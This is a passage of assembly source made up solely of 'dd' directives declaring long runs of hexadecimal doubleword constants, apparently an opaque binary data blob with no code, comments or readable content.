0A2003196h, 4CC14F93h, 2FB811DFh dd 30A07B1Bh, 0FA9B0D59h, 87D4640Eh, 8186E727h, 3CD29D70h dd 20F00EF8h, 4016F348h, 802AC060h, 8101AB71h, 941F5893h dd 18FB78FFh, 10075B98h, 8F8AE9C7h, 0E6510330h, 1F59C347h dd 20BEA620h, 13988A0Ch, 0E20582Fh, 0A940D193h, 0F6EA7180h dd 4501CA97h, 0D2DE291Dh, 0E1F090FDh, 7D67002Eh, 445CED79h dd 2B30A913h, 5A986859h, 0E8581560h, 5C42948Eh, 0D65B2601h dd 0D03B32E7h, 521520F6h, 36C06F3h, 11AC8EF2h, 8C12D090h dd 558B077Eh, 1CD6AF94h, 0FE0071C0h, 4ACE44DEh, 0D427ACh dd 588CEA50h, 367A33EBh, 38356C00h, 37667570h, 6EC50077h dd 14E5F785h, 86ECB72Eh, 2FA8D00h, 9A2F2D3Ah, 0DDBC07EEh dd 70C20734h, 9564BD35h, 92A4B239h, 4C1C87Ah, 92D5E9B9h dd 2AB0D9B4h, 1100AB04h, 0E5E4C7E9h, 0D53E034Eh, 0EECAACCDh dd 60929500h, 3F840E0Ch, 0C7079785h, 8711E661h, 0FF1C4063h dd 5900D0E7h, 8E97FEC6h, 39929D03h, 0D381875Bh, 0E0FBCB5Dh dd 0E4FAC0F8h, 86275300h, 80C5259Bh, 0C7FC00EFh, 8DADE5FBh dd 0FB90FD94h, 489A8C00h, 0F3CF60A3h, 0C170AFD3h, 2081B67Bh dd 2D3C98D0h, 402C006Eh, 0DE487DD1h, 0C98D18FCh, 0AB772847h dd 9775E904h, 0D15D703Eh, 0C73D117Fh, 271DFB21h, 11F942E2h dd 0DF21CE9Bh, 907A0708h, 28ED8A9Dh, 84B48308h, 878B23Dh dd 0ADD742A1h, 0EEA60721h, 29D67903h, 19118542h, 40B21ACh dd 479DCCCh, 3B447C49h, 472F4872h, 2D90D889h, 2831818Fh dd 0EA325053h, 82F129D4h, 25AA843Ch, 0A1140417h, 0B81548D6h dd 4BC96900h, 0EA1DED17h, 3C828B00h, 0A9A4AA09h, 0CFF700ABh dd 9CA8D442h, 7D00AF1Eh, 0A34FB793h, 7159B5h, 0EF7D03Dh dd 8D73F155h, 6B260807h, 16505815h, 0A9D06h, 0F790819Ah dd 6A2BCFE4h, 1E00BAEEh, 0A35A2C92h, 8AD048h, 1490EE0Dh dd 60FAF858h, 0F343Eh, 8D2627DBh, 0AEEABBh, 5C40DF42h dd 57B03B30h, 6E67E600h, 69B455C5h, 0B3DA8021h, 415D5B01h dd 67E4901Ah, 562A1980h, 8E76BAB8h, 0DE1DE701h, 0D5241902h dd 0EAEF59D8h, 0F4C20044h, 2803F6AAh, 81004984h, 0B07619D6h dd 7F6A5358h, 6CF90B47h, 6C20796Bh, 4F40FBADh, 67ECB601h dd 5F81743Dh, 184CAD8h, 3A3C4DBDh, 0C8910355h, 400C6C2Ah dd 0E8975CCBh, 7AF83966h, 9DFF5087h, 5369C0D5h, 0CA01C10Dh dd 0AC6D90CDh, 0F3E475EAh, 5264B298h, 0D43FA850h, 76B8B80h dd 8D3D2F30h, 0BE49C100h, 0D1B452Bh, 0CDF0A1h, 0D54377ACh dd 0E2AD2294h, 0F937EA0Eh, 3F9AA062h, 0C65AC5h, 4EE8993Dh dd 0E9F6E49Eh, 0A60047Eh, 2FD6540h, 2B23008Dh, 0C9C7AA78h dd 6E3BC814h, 622C8074h, 0C5DAB244h, 0EFB8C09Dh, 0F3E6D749h dd 6C5E4200h, 13839ECh, 2AAC009Bh, 0AAABDA2Fh, 0F93C6AD3h dd 0BA838091h, 6DF5A454h, 0A81B4A52h, 0D22C070Bh, 0D3F0CB2Bh dd 0FA70C3h, 0B3DDD0BEh, 0C8EECA0Fh, 4E5052E8h, 0F01F7A88h dd 0A240862Bh, 0B732A1AFh, 0D1C13D4Ch, 0EEDF8B8Eh, 0D2FF8D00h dd 0CA009E33h, 6AB9E7C4h, 0DB4C9Ah, 0F9A684D8h, 24815B45h dd 7BDFD40Eh, 0EBAE02Ah, 0FBC65Eh, 64389471h, 0C2D7B20Fh dd 2BEFD607h, 81BEF3ACh, 0FFCFCEA4h, 17BF0C4h, 7AE90436h dd 203F1064h, 0AA1FA554h, 3E98528Ch, 1E885B10h, 5F3359FEh dd 0D7D75E14h, 0EA850572h, 0EC00D0B1h, 0C6005192h, 0D32DE83Bh dd 0FEE5A93Eh, 18A300BEh, 0B6D24060h, 0A63CC355h, 1E70001Fh dd 0AD906EB3h, 95BD0053h, 8CCAF113h, 380A2935h, 0E8143A2Ch dd 20897E00h, 60A95509h, 47F290B6h, 0FF062587h, 8D3F766Bh dd 192F0536h, 0C05A22E3h, 0F07C3D6Bh, 0EF27A41Fh, 181B1100h dd 0F8C68020h, 0E2EA54h, 85BEED1Ch, 0E30D39D7h, 0D9895800h dd 9646EA0h, 55E1023Eh, 8544D03Fh, 7B5A6440h, 0F9D24300h dd 0CCF75708h, 16760732h, 6123556Ch, 0D839EED9h, 84008D6Dh dd 0AD0C1399h, 0D745A6h, 0C1527C50h, 6CEAFA72h, 6EA85900h dd 30BA098Bh, 15FC0064h, 26958DB1h, 21D2F98h, 220058DEh dd 67FB9E9Bh, 1DB700DCh dd 2852FDD8h, 0E1121466h, 0A40EFA0Ch, 0A7B4E217h, 25B44072h dd 0A82663FBh, 46F06E88h, 53006DFCh, 8E58A4B0h, 54B5806Ch dd 4FCC4Bh, 1FA87AD7h, 0CB11DCF8h, 0C2C7400h, 0A4214B7Fh dd 7C9852h, 58E97B98h, 295DA2FEh, 4324C601h, 0A177B91Dh dd 0C90C30h, 7F0B5BB8h, 78736308h, 2B49009h, 116480F2h dd 97B46B3h, 58C0EC03h, 0D405BC01h, 0A1183099h, 72086989h dd 0BD00B27Fh, 689385D5h, 612FFBBh, 0A506EE76h, 0C70E4031h dd 9DE859BAh, 2388ADC0h, 0EF7DDFh, 0BD38121Dh, 7387A3A7h dd 8A830F00h, 0B0840BCBh, 779600F1h, 1B9DFAE6h, 0ED03D498h dd 4981458Bh, 937E0007h, 1A331C46h, 0E100CDC9h, 0D324C820h dd 129861FEh, 1D068Bh, 59E0D9B5h, 3A01A623h, 82ABD477h dd 0C8E4AAD3h, 0FF2A18B5h, 4A9A205Ah, 6C03BB0Eh, 9FEEC0D6h dd 71C0BEA7h, 66E100D5h, 2F6B2334h, 800A1946h, 84B79CE7h dd 4BB34200h, 0C18182h, 6AB42E9Fh, 8D54CF3Eh, 0E1622B0Eh dd 550C0326h, 9BF1C8A5h, 1EB5007Ah, 34580F6Dh, 750005DBh dd 66A47252h, 484E3643h, 0DC3E3810h, 409DEA92h, 77ECF1D8h dd 0B2F89FD2h, 9C00B090h, 0F475A468h, 33F5E7h, 0B979653Eh dd 249A924Fh, 19F37605h, 0C4003C2Eh, 0DB455238h, 580B0377h dd 0AB8FB2BCh, 0B4B84800h, 0D0094E9Ch, 5B221D43h, 5E36DDA5h dd 64C54026h, 8AA271D2h, 7FD8C58h, 4340F003h, 585C42F0h dd 75DB0001h, 10DDB91Fh, 0E1009A12h, 0CE92BFE4h, 3DB0EAC9h dd 0A98086A1h, 0F9E287E3h, 0A672C4B3h, 0CB008FEAh, 0C847BCCDh dd 3E6B0F8h, 7529F6Bh, 0DDB81CC2h, 8F0A0570h, 0B8BBB403h dd 136BAA07h, 26B849F1h, 0C623C440h, 45BC0007h, 1E29A2F3h dd 0BD0F4489h, 0E04E551Dh, 0D569FD3Ch, 0ECEC47h, 0ABC2F160h dd 98E99CBAh, 413A3E4Ch, 59A20B8h, 0A0C7B8A8h, 60276200h dd 9574D63Dh, 24D91FDDh, 9C4A8E17h, 8EDE340h, 0E03894Ch dd 0AADDEC2Bh, 0FFD590FCh, 0C5EF26EAh, 0B71060F0h, 0C27FBAD2h dd 0CF247807h, 0DFB017F3h, 41FCC7h, 360C13Fh, 9E13405Ch dd 4ABD7B1Dh, 5F85EDC0h, 33FFBEh, 3591612Fh, 8B37E70Dh dd 7960CD00h, 0A39C6C50h, 6E6400BDh, 661D77D4h, 5D3E1C1Fh dd 0EC9DA4B0h, 605F6200h, 192FBh, 0A1E4B808h, 77C932F7h dd 0F47B2900h, 42B35213h, 0AE430151h, 0A9719ACCh, 7978947Dh dd 19F72698h, 403FCE00h, 2491DEh, 7590153h, 6213A112h dd 786C7303h, 0D03C3525h, 0EC262305h, 0AC7600D9h, 0A80CC2CFh dd 0F7009399h, 0C6EC324Dh, 79ED6855h, 2F5D0041h, 63B69091h dd 0D400C375h, 1F2280BAh, 3B426915h, 0DB163BDAh, 46400CCh dd 0FBA88D1Ah, 4EC0D100h, 6EE0F68Eh, 0AC2849AEh, 2F263300h dd 0E322A0AFh, 0CB478600h, 1166A703h, 844603A5h, 0A469C10Bh dd 3A1DF1E8h, 58156E00h, 74689A5Ch, 4BC9AF5h, 0E05D1E85h dd 64B0C053h, 7A3B3717h, 0AB1061BFh, 2885A0E1h, 802E893Fh dd 7CAD6E84h, 502C4158h, 28736A20h, 0D8364A01h, 0A91E7724h dd 431420h, 692CE8CDh, 3CCF8B6Dh, 8DC8903h, 0C0455FB5h dd 0D05B64h, 0F044180Ah, 0A31AB217h, 4583403h, 0D8F752AFh dd 489C363Fh, 0C008204Dh, 990BBC63h, 0D90820EBh, 75D1C4D0h dd 0EC880909h, 8002254h, 7CFA8FB5h, 99E60800h, 64F05CF6h dd 25B090B9h, 0C0005BBAh, 2CD7B668h, 1A41259h, 39150335h dd 0CDD819CEh, 76E4002Dh, 9992E16Fh, 0B3390225h, 52A1005Ch dd 3ECC4ADBh, 2BC71288h, 0C4B0011Ah, 60B10A5Dh, 0B0A80648h dd 6876DA58h, 5711A46Bh, 0C8DDF780h, 1500C05Ah, 0DFEC519Fh dd 0C35DB9h, 797E91E9h, 5554E098h, 0F0331000h, 651953D6h dd 0A9D5007Bh, 984240AEh, 4413C2ADh, 84C00C59h, 0A8B356BCh dd 18A05C8Ch, 11160620h, 0FF11C17Ah, 5500B4E6h, 1875E72Fh dd 0B701268Dh, 0FE66D763h, 4020C19Bh, 4F403E4Ah, 6F78FB00h dd 375111DAh, 68806A01h, 5E894502h, 29ECD180h, 103F0ADEh dd 0BE0CE214h, 370D00C0h, 2A9A6E52h, 153100C4h, 0E6497D1Bh dd 3D006304h, 0D8A4585h, 188B18D2h, 98DAB29Fh, 590113A0h dd 0F11C2741h, 79C809CCh, 0D67D0082h, 0B99C04Eh, 0F81EF30Ch dd 0C2CEFBD4h, 9456E72Eh, 0F9123F80h, 11B71DDFh, 8B20080h dd 0E58439EFh, 0E43CFB00h, 0BDF47116h, 2DDC0033h, 4BEDBF44h dd 1B2EF398h, 4D004D0Eh, 7C7DB1E3h, 0ADC100FFh, 1FBEC224h dd 8901EEC8h, 0DDD23582h, 0AC2CE08Ch, 470B0E04h, 347940A6h dd 461497h, 93AC8FAAh, 0B24C88A5h, 6D715300h, 0B859E869h dd 0C7AE01CFh, 0C112EED1h, 0DC94DDB1h, 0BA00F401h, 5BBB8CA5h dd 265A21h, 0D5C7A905h, 1AE7095Dh, 0A5387100h, 2F31B9ADh dd 0A75300EEh, 817FA974h, 6500C915h, 0AB02E1C4h, 0A12859h dd 0AC387089h, 51727D84h, 3B2C7C00h, 556B17DCh, 0F12D3814h dd 9FA7C100h, 31A8F6Ah, 0ABE7A0Fh, 0D691E3AAh, 0E645D806h dd 465005Bh, 710F58A8h, 211CE9FCh, 1DC0A697h, 7585B963h dd 37E30026h, 54B7810Bh, 9B39063Fh, 0ACAF00F7h, 41826397h dd 96C03965h, 60FD4980h, 0AA645031h, 5C04911Eh, 84F86D80h dd 73F89EDh, 747B7E25h, 707C60C7h, 46745C11h, 509B1900h dd 0EF684CDBh, 0D4800313h, 0A27106Ah, 0F08D2800h, 0CFA1DC1Bh dd 0B8265129h, 585898D4h, 0A348006Eh, 2C11BD00h, 4597E0DCh dd 95DD9900h, 0DF4164B3h, 5371C3F5h, 6BA0293Ah, 0C50CA1A2h dd 0C006D1B0h, 522700C7h, 39333F57h, 2F007AF8h, 0D54C72DCh dd 0C0E69437h, 0E88A3B29h, 5F0395FAh, 5DFFAE66h, 1619D8A5h dd 0C093EA8Fh, 0F5AF5268h, 4302D8BCh, 8D0F83F9h, 0F49460C7h dd 95461239h, 0BBF040AEh, 0FC1BEA29h, 77D3158h, 0E2DC8C23h dd 173B0140h, 8EC83D8Ah, 2BEE7A80h, 0CBA1D43h, 0B3F2B500h dd 45A028ACh, 0E56412DAh, 65C91E91h, 0D1A87400h, 260020D3h dd 185E5A9Bh, 0BCFBDh, 28FDF7B7h, 0E1C92234h, 0F49B8700h dd 0FFC70ECCh, 0D31B0E98h, 6D80E558h, 0AF99475Dh, 1A33A41Eh dd 47B216CEh, 0A99079CEh, 0F7D431h, 567763CFh, 0EF3BEAF2h dd 4C601F01h, 76471E87h, 2026BF0h, 264549D9h, 70600474h dd 0C088150Dh, 9887002Fh, 4EFF2951h, 3100C3D3h, 0ABA7E986h dd 61FADh, 0D68FDC58h, 0F3AF18CFh, 16C19200h, 2F12E37Ch dd 10D7850h, 0CB813890h, 0E675F586h, 451D0DC0h, 0C7068F00h dd 0CF1A97BFh, 291B29F2h, 336A0F90h, 74CC8280h, 0D0971489h dd 90DB000Ah, 0BA36D898h, 800081D5h, 0AB1E744Fh, 740175EAh dd 6C4200A6h, 8CBD073Eh, 1703AFF7h, 76FC2287h, 0C6CAD8B0h dd 0C7B8A067h, 0D0EA3Dh, 66B36B62h, 35ADBF75h, 0CBBB871Eh dd 16DD26C0h, 12BC289h, 98B68C2Ah, 0FCCCCD6Fh, 8700B230h dd 27090E91h, 0A138F1h, 8D696741h, 0B3BF103Ch, 87A2B203h dd 0B77315DEh, 2480B9B7h, 14454Ch, 8EB41A6Ah, 0C7C56FD3h dd 16AD9344h, 0C0BE543Bh, 6EF7D73Ch, 0C3DB9500h, 0D2A93A7h dd 483702F3h, 924A41Eh, 0D5AD4640h, 3979333Fh, 52E400BDh dd 0A11F8B44h, 0F96A00BCh, 0A416E8A3h, 1A2ED371h, 48005266h dd 65102A4Fh, 18B709EBh, 5C4008A3h, 2F393039h, 773B8114h dd 0D5A91345h, 280E0C20h, 0D0B240h, 0FA73FD9Fh, 3F299622h dd 0C3394CB2h, 8E1F8F5Ah, 3DCC405Ch, 1B4E0Fh, 8E374F8h dd 9FC27671h, 296F8500h, 2B5C567Eh, 9A540115h, 0FD8CB746h dd 3E845110h, 0B192C86Ah dd 41050B98h, 0E5CCD15Dh, 1714A0h, 0BD4F382Ah, 2E19D73Fh dd 0A3CA7400h, 553A2F8Eh, 731EA6Dh, 0BB08E587h, 5DE7D0D8h dd 7400E166h, 0E92117A6h, 4F90AF7Ch, 41EC8006h, 2F58EFD1h dd 84AE0C66h, 0C0F8680Eh, 2726E460h, 8E0E692Eh, 2001FC07h dd 0B1D8E7DCh, 744C00D9h, 754F1261h, 0E803B225h, 372F512Bh dd 0BB19621h, 55FEB378h, 0E52B800h, 0BD3A6BD8h, 94118B97h dd 53048114h, 0FC52B8C2h, 21B0A083h, 0B4373Ah, 0B98ABF9h dd 758ED7E9h, 69E1B904h, 0E88067CAh, 7DC3A5CDh, 7CEA0048h dd 4E56124h, 0A1174602h, 0B000BBE1h, 331FF42Fh, 8C2E003Ah dd 0FA4FCDC9h, 37004DF1h, 54351299h, 275ABBA8h, 0EC878FD5h dd 809C35D6h, 181689ACh, 0EF234017h, 0EAE6B000h, 42F666Fh dd 4B152D0h, 36EDC07Eh, 3900F2DEh, 0EFD6E922h, 0E4A7228h dd 41EBD50Dh, 294BA6Ah, 4E29549h, 0FEEF3440h, 0DF075BFCh dd 2D76995Fh, 0ED3FAA03h, 8C005456h, 0DBB1F082h, 0A47D0061h dd 30D2E9D4h, 51000813h, 2071A26Dh, 2B49BDCh, 726BE1DEh dd 0F87B958Dh, 8BC18700h, 2062Bh, 1BB1AC78h, 6BDB7B71h dd 60528A00h, 0CCBEA18Dh, 9909008Eh, 8CC7C636h, 0A00C5BAh dd 26B40E48h, 3CD68375h, 7638CCh, 580F7CDFh, 2B08EF62h dd 4E530224h, 0DA718B07h, 0E5BEF7E0h, 18D9006Ah, 1BD6F26Eh dd 5001772h, 0E964748Dh, 0FC510B2h, 0E74BD3A1h, 0D8C08009h dd 0D031ED6h, 163A9DCh, 83B6E36Bh, 0AAE80028h, 0FAFE2495h dd 77000EF4h, 6705E569h, 74D04D02h, 1B37331h, 0A2DE75CCh dd 7018C69Dh, 361E4C65h, 7C03E9EEh, 8855EA31h, 76E160h dd 0BD7AF07Bh, 40D79D51h, 0FF6F480Ah, 9900A406h, 2F4A9F60h dd 0A3E680h, 2E8BC990h, 754345FEh, 650068EEh, 7FEEDB0Dh dd 3CA66732h, 710386DEh, 3646E9EDh, 0A6B8DA8h, 0E41DEEB0h dd 0B480F59Ch, 0CCBCE623h, 24BE0047h, 9205621Ch, 6D7AA311h dd 3B94B201h, 9E85543Dh, 0A69D70h, 0AB6C2DBh, 395B186h dd 4D006A77h, 67970E87h, 1C8327D2h, 80E00D18h, 4F293507h dd 0B9004AFEh, 8C36761Eh, 5C22B3h, 8654F5A5h, 0C28FA3E2h dd 0A44EF83Eh, 79E0DCF9h, 7E5CB8h, 15F86F5Ah, 0E00F1EADh dd 5237AF01h, 72C26695h, 1FB01C64h, 843A1340h, 91E02468h dd 20A9A570h, 811D316Dh, 64127E6h, 9736DCF4h, 0F051F442h dd 0A7470088h, 0A210B14Bh, 0BC00EEF6h, 3233AED0h, 19EFA8Eh dd 1D125F79h, 2CA874D8h, 3AAEA078h, 0DC92DCh, 39F5BE1Eh dd 0E3540E8Dh, 0A327ED03h, 1B8A20Bh, 0AB032CD9h, 0C284B12Dh dd 0B33F4C68h, 0BCC949h, 0FA62CCCEh, 633C56E8h, 3BCA2023h dd 75EDACC8h, 0A0578725h, 71A6A07Ch, 10F69Bh, 1853936Ah dd 499AB5C9h, 2997CD00h, 38EFCFFCh, 0E53000AAh, 7E77B65Bh dd 40C0F34Fh, 3978CED1h, 0F95400AFh, 0CD8951D9h, 920E6BF5h dd 3E52DD2h, 95C7F62Fh, 5EA514C7h, 0E88080C5h, 35FFF2Ah dd 0FCBD84E2h, 0DD88C745h, 0B40B5B63h, 0A0499CD5h, 25463F64h dd 0A6730A64h, 809CFE75h, 1D8B7A7Dh, 5F5CF8ABh, 5D620354h dd 0F319BC1Bh, 684A98CFh, 917200CEh, 0EC92783Dh, 14FA6553h dd 0C79AE807h, 0FC901757h, 0B9E1F1h, 0EC440512h, 7ABA807Dh dd 14D4D600h, 0E18F85A4h, 796D00B6h, 0F52C8782h, 1F07EAA7h dd 0E891CA3Ch, 0C02BF7E2h, 0F604A44h, 0D21EEE7Bh, 0E70280FFh dd 5BAC315Ch, 0FED6DB00h, 0A26FFAB0h, 7AA90083h, 1AC917D4h dd 0EB00BC6Ah, 0ED68B08h, 0F12BB5h, 0CAAF4435h, 7EBA5BDFh dd 0F6365107h, 0E430276Fh, 0F290FBh, 224FE968h, 18EFC460h dd 8B207A07h, 0F1502EADh, 3F566Bh, 0E6A8C9C1h, 0EA4A3A95h dd 2BC04F00h, 0BA522DF6h, 0A9E1009Ah, 0C240FC20h, 0C0981C54h dd 0EC183807h, 0B2800B6Ah, 860365h, 60FC5714h, 0D6F8BF6Ch dd 0E69C9100h, 1851951h, 28470738h, 60B9BB94h, 0D2062AFFh dd 0FBC6081Dh, 0D61E0A04h, 0A87084h, 420D38EBh, 0CA369180h dd 0CC4A13B8h, 6880F487h, 0ED74E32h, 0E63AE00Eh, 0FFC96140h dd 0A900C28Ch, 46E2F0A2h, 0B9BC4B8h, 0DDAB76CDh, 83FE8860h dd 3F3A1000h, 7ACAB34Ah, 9F2600EFh, 0A7EBF5A1h, 9600E97Ch dd 16C3032Fh, 1C8FC7EDh, 7EAB0C29h, 0F7E09080h, 5E544097h dd 6613120Fh, 75C0FDEEh, 27A7ACFCh, 0C9410077h, 3CC0B41Fh dd 33004881h, 65525A99h, 0C79044h, 2DC50F84h, 9DCD127Dh dd 2AE27400h, 0B3A9AFCAh, 0FBE80037h, 0A8810A87h, 730058D5h dd 0F23CE9A7h, 0FE3FF085h, 54AB4960h, 368D1600h, 68A93A52h dd 0DD2D3Fh, 77FDC288h, 2C9A3296h, 9C60Fh, 9076223Fh, 1600C492h dd 44E7A885h, 55250h, 406D7751h, 0DDD7CB60h, 3A045490h dd 6FC49BE2h, 3BFB00C0h, 15DA0063h, 0BB8D44C1h, 0CF037C77h dd 739EB0CCh, 9143E897h, 2272000Ch, 3F8E101Ch, 0D607CD0Fh dd 29A9FAD3h, 0C0F49700h, 1DD500C3h, 0CD469144h, 0F000C112h dd 41D2B147h, 3EF4DC0Ah, 5D0AA23Fh, 2694E830h, 88B40068h dd 0AED85AFCh, 0D653B209h, 6D368276h, 0E5B868A6h, 0B92D009Dh dd 41421084h, 3A00D1C2h, 57F0E66Ch, 0EFD389h, 3D818524h dd 0A62C98DEh, 0CB82D500h, 0B6635C6Dh, 10D16F1h, 0FB270146h dd 30254BF5h, 0DD3F9DD4h, 0DC8780E0h, 26E3EF63h, 1D8007Eh dd 7C401955h, 98EACD03h, 0AB482000h, 7BF045B2h, 52600061h dd 28B07C4Fh, 361431E3h, 0A00713h, 0A01E3339h, 999E9A1h dd 284C58C2h, 0F226EC40h, 0D546BC0Fh, 69E32014h, 8353DEh dd 219CCC08h, 0C1046AB5h, 0D0640902h, 0E3BE9FB3h, 8F53C8C5h dd 7DDF000Bh, 80617A9h, 0EA72077Ah, 80A88450h, 94864828h dd 641A9A00h, 0A24F0D2Ch, 0BFD00228h, 72A74E91h, 0B2D2A4C0h dd 0A16E6426h, 0DA8DB500h, 0A81D1Ah, 2858B710h, 73E36AAFh dd 0BD499B01h, 0A189A4ACh, 8DE830h, 0BE643365h, 928AE8E0h dd 0F2F6ACEAh, 0CC1B9800h, 20EB5BFDh, 0D5FF00BDh, 0D6FBE62Fh dd 8B48BAFAh, 0F95C03F0h, 0B828561Dh, 3DE5D146h, 0D80281AEh dd 0D9DFF438h, 2640F880h, 57769489h, 13A0DC48h, 8C00FC43h dd 34EB6D64h, 0B023A8Fh, 0FBDE07FFh, 0AC7750C2h, 0B14D1DB4h dd 944E0048h, 49F833B0h, 1DB02EEh, 4BD6C858h, 0CD60405Eh dd 2E797E13h, 0C448B9h, 0DCE87B25h, 0E739E3D5h, 5D4D1ED7h dd 359C006Dh, 56C8DB1h, 9B218777h, 746490BFh, 0C47E288Bh dd 7E636A00h, 0A6871F97h, 57701D4Dh, 0D75449B9h, 0E95E8800h dd 0C95F8F80h, 0E49A042h, 448E60FFh, 873F04D9h, 0C0D89709h dd 0FE8A7A82h, 1BFC4C00h, 3712ACB1h, 52EE0039h, 91667D9Bh dd 550017B7h, 0FE463D62h, 74C2A2h, 87C91157h, 0E65CA5ABh dd 3FE42300h, 0B1645954h, 0CDB00082h, 0AA703C7Ch, 6500D480h dd 0F096D025h, 0BE9A7Eh, 902F85BBh, 505435CDh, 0CCDBBA28h dd 0CFE6A475h, 60711803h, 17972FEEh, 80C9CECCh, 48C6D3ECh dd 4281CF00h, 0EBE46183h, 1EC70023h, 242145BDh, 8905E22Bh dd 3D116744h, 0CC0136C4h, 9D8FBAFCh, 94CC70h, 8D9E3265h dd 151DA107h, 7D955800h, 13BC730Bh, 98B045h, 0EAF927E0h dd 0D0E70C93h, 0DD87BB01h, 75C58DF3h, 2F6C30h, 0C70177C2h dd 43C8EE73h, 809E533Dh, 2A275F14h, 0B1BFF90h, 76D57B17h dd 0C002B405h, 8B184046h, 220A6900h, 0DF31608Ah, 0CA1101C0h dd 1BF02B4Fh, 0A6C8F35Fh, 0C27CC7BDh, 2E6BDE48h, 3D00CC6Dh dd 0A22666B8h dd 563F002Bh, 0F20EBE4Bh, 820020A6h, 9846C614h, 2E0F436h dd 7015543h, 4C74915Dh, 0D0003A13h, 6602B22Ah, 2E6812FBh dd 0A47480C6h, 3802B7B0h, 1236CA63h, 7DB4E03Dh, 0C1661CD3h dd 683B8083h, 58097A88h, 0BD173Fh, 38AF20B7h, 0B84CA72Ch dd 0EB6100C0h, 8786D4FCh, 26016FE5h, 4E434035h, 9A20E68Ah dd 2828C0B8h, 31F7078Fh, 46B0C03h, 0E064D049h, 65B5CBh dd 0F1C39C79h, 0E6CE93DBh, 103E1F00h, 305FB28Dh, 0BE5C04A9h dd 903187E2h, 60F6BB04h, 0E1AF2D01h, 0B0DC08D1h, 5EC4802Ah dd 0D67EB76Fh, 0B2B1C03h, 0AFCA26E0h, 46174900h, 0BDF1000Dh dd 89E10169h, 3175D73Dh, 0DB79BB00h, 0C5637044h, 0BE9E0066h dd 628C2D90h, 8898B9BFh, 29398870h, 4BFCh, 0ADE831BDh dd 0BC7BC6h, 6486973Dh, 0F03BB81h, 0A64E4Ch, 0DE89E72Fh dd 0A1AB62h, 0C1567E87h, 573912BAh, 5E731B00h, 6A8A519Ch dd 12ACB6A9h, 47EC00DDh, 729DA63Ah, 206E5A60h, 308A24A0h dd 42A0FCECh, 0A600BB45h, 73919217h, 0C0D6F63Eh, 87DBABA8h dd 0DD2C5C19h, 803F2046h, 9DAA3228h, 0BB05Eh, 0FB2AD058h dd 56750CBFh, 33300F73h, 0F7D860DFh, 31933B6Ch, 0BB0180C8h dd 2C0CD09Ch, 92D4241Ch, 0D42D5700h, 3FC62388h, 0B00F1C9Bh dd 0D6298025h, 0A0708417h, 2CFD10B8h, 0D9020038h, 0D76D8C6Fh dd 0EC1F0334h, 3671BFE8h, 941C7FE8h, 0C4C14B09h, 0FB6C6096h dd 0B441182Eh, 611B4175h, 0A76A9A00h, 62019457h, 0B9AE00ECh dd 79C380F3h, 0CE004076h, 0A8983EF4h, 9F2BF22h, 8C366F3Ch dd 5BFF9880h, 0BD5023FEh, 9D03D3A5h, 0D2F59C6Eh, 0F8D6E377h dd 3299875h, 272CCCF8h, 7800AF82h, 3CB5E2C6h, 0C86A78h dd 0BE4D03EAh, 46D58F5Dh, 7F51D015h, 0AB1501E8h, 2A9B4161h dd 354D3E4h, 7AA3BD4Ch, 3CD8C8C4h, 5500EF9Eh, 5DFF844Ah dd 90875340h, 0D5798Ch, 0D20691F2h, 0AFAE90EBh, 0D918C9h dd 0ABF77B55h, 1E5B0009h, 4453E9B3h, 0F600945Ch, 359786F4h dd 280683E5h, 3AEC410Ch, 93BF300Eh, 6B8B2200h, 0EBB42088h dd 0E92EA376h, 8580688Ah, 6FDBED9Dh, 0C49058C4h, 0BBDF0C00h dd 3DA80DBEh, 0EBAC9E00h, 0B31A1561h, 0DBD800A4h, 9CE98551h dd 9B004FF3h, 743AE5D9h, 3289F34h, 1FBE5477h, 0DEB04ED3h dd 70976615h, 0F6A413C8h, 69002028h, 29E6FD1Dh, 0BEB1BB0Eh dd 7F8B0053h, 0E939ACh, 0FA6F872Fh, 3C960E8Eh, 28A940FBh dd 3F27BD4Ah, 524460E3h, 922D0064h, 572F5D45h, 9C079D78h dd 0DF4DE882h, 23F0A41Bh, 0CBDE9A01h, 11D8242Ah, 92C5A000h dd 0B50C4573h, 0DF600AAh, 8E994355h, 0E0B83465h, 3D8DDF24h dd 3DDE5400h, 27C7C28Ch, 4000CC4Bh, 0B1DFE8B6h, 9B2BB806h dd 0B19302Eh, 0E7058CDAh, 844D44C0h, 0C904CE00h, 9054F41Ch dd 999C78Dh, 0D58AE0F2h, 50004068h, 9CF30FDBh, 333A349Fh dd 7E51E462h, 6CD6E1F9h, 0C27D1770h, 0CF830800h, 98A75C3h dd 0FD930152h, 1D8EEC00h, 0D93ACD2Ch, 95369FC0h, 52030D6Ch dd 0E0B1A877h, 0E019E255h, 5C4EA23h, 0F92E4AE6h, 3DDCB008h dd 3922850Ah, 7B008048h, 0A9E656D1h, 68435020h, 4E362A40h dd 0BA9100A4h, 14DF2D45h, 22016FB2h, 378A47C0h, 4DFCB18Ch dd 0C04854D1h, 0C2D300CFh, 95E30BA2h, 0E1D2F170h, 30B92E10h dd 0B1C5114Ah, 7F4CB2DCh, 0EDA500C7h, 0CF7AD519h, 85007839h dd 81D60E6Ah, 2643653h, 3A9704BAh, 0C40063Ch, 0EF7C58C6h dd 0B8D2D70Ch, 104822h, 14123398h, 0DE55E638h, 940BC04Fh dd 60AA001Fh, 48D2896Eh, 5F075059h, 0C64F6822h, 0E100102Dh dd 3B9C63E8h, 30A60FD3h, 10182E8Ch, 4A027672h, 84B631B5h dd 0FDA0604Eh, 90AD402Ch, 0B8870C5Eh, 81868B80h, 555B0C52h dd 0D84006E6h, 83432E38h, 23F00A63h, 7665E2CDh, 0C48B0034h dd 45FF164Eh, 6141D300h, 98E27B96h, 464763Dh, 382AD85Bh dd 25F4C0CCh, 70F8F6CEh, 1C20F000h, 85E3935h, 7519E84Ah dd 46AC01AFh, 0DF14C23Eh, 0AB2FD0D4h, 9D1CEC00h, 0C8F2124Ah dd 89ED0782h, 0B73E0D99h, 0B85130FDh, 0A4189E16h, 6BB01209h dd 824C04B7h, 87FEA739h, 4AE44389h, 305C37B8h, 7F00607Ah dd 580E1A04h, 13C33DBh, 0A26DE841h, 0ED060AA7h, 6188C03Eh dd 0F5479D0Bh, 76848023h, 979B44h, 0E4F358FAh, 66F9E237h dd 3E007E7Ch, 0F4E6A989h, 125A0ADAh, 0A04B97D9h, 6A1D0434h dd 0D1809830h, 7EDB2EEFh, 0D63E00EAh, 0D80B428Fh, 15008636h dd 0C8EF184Bh, 0E33952Bh, 1693B12Fh, 4F191060h, 5C243165h dd 1D824092h, 70599h, 35FD0C1Fh, 4034BC27h, 1E7F6C4h, 43A574CDh dd 78EF0Dh, 1DBE0A3h, 11FABD24h, 2F05D32Dh, 0CE0BC2Ch dd 